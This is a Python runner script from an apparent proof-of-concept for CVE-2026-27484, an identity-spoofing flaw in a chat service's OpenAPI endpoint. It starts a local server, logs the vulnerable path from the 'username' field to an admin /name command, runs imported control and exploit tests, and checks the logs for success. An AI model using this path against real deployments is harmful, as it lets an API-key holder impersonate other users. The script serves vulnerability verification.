PoC: run_experiment.py for CVE-2026-27484-OpenAPI-Username-Spoofing

run_experiment.py

import json
from pathlib import Path

from common import (
    BASE_URL,
    OBSERVATION_LOG,
    PORT,
    RUN_ROOT,
    SERVER_LOG,
    VerificationError,
    append_observation,
    reset_run_root,
    server_log_contains,
    start_server,
    terminate_server,
)
from control_normal_behavior import main as run_control
from verification_test import main as run_verification

RESULT_LOG = Path(__file__).resolve().parent / "test_result.log"


def main() -> int:
    reset_run_root()
    if OBSERVATION_LOG.exists():
        OBSERVATION_LOG.unlink()

    proc = None
    try:
        proc = start_server()
        append_observation(
            "reachability",
            "\n".join(
                [
                    "Interface available: HTTP",
                    f"Listening service expected: 127.0.0.1:{PORT}",
                    "User input entrypoint: POST /api/v1/chat JSON body field `username`",
                    "User input stored at: webchat queue tuple and session creator",
                    "Processing path: /api/v1/chat -> OpenApiRoute.chat_send -> chat_route.chat -> webchat queue -> WebChatAdapter.convert_message -> WakingCheckStage.process -> builtin_commands /name",
                    "Suspected vulnerable sink reads from: event.get_sender_id() derived from MessageMember(username, username)",
                    "Source/sink path consistency: YES",
                    "Runtime defenses: API key auth present but not identity binding",
                    "Required privileges: authenticated API key holder with `chat` scope",
                    "Decision: Reachable",
                ]
            ),
        )

        control_rc = run_control()
        verification_rc = run_verification()

        independent_checks = {
            "control_denied_in_server_log": server_log_contains(
                "用户(ID=not-admin-user) 权限不足。"
            ),
            "exploit_success_in_server_log": server_log_contains(
                "UMO name set to: pwned_alias"
            ),
        }
        append_observation(
            "independent_observation",
            json.dumps(independent_checks, ensure_ascii=False, indent=2),
        )

        if not all(independent_checks.values()):
            raise VerificationError(
                f"Independent observation failed: {independent_checks}"
            )

        result = {
            "classification": "[DEFECT-CONFIRMED]",
            "reproducibility": "End-to-End",
            "base_url": BASE_URL,
            "run_root": str(RUN_ROOT),
            "control_rc": control_rc,
            "verification_rc": verification_rc,
            "independent_checks": independent_checks,
            "server_log": str(SERVER_LOG),
            "observation_log": str(OBSERVATION_LOG),
        }
        RESULT_LOG.write_text(
            json.dumps(result, ensure_ascii=False, indent=2) + "\n",
            encoding="utf-8",
        )
        print(json.dumps(result, ensure_ascii=False, indent=2))
        return 0
    finally:
        terminate_server(proc)


if __name__ == "__main__":
    raise SystemExit(main())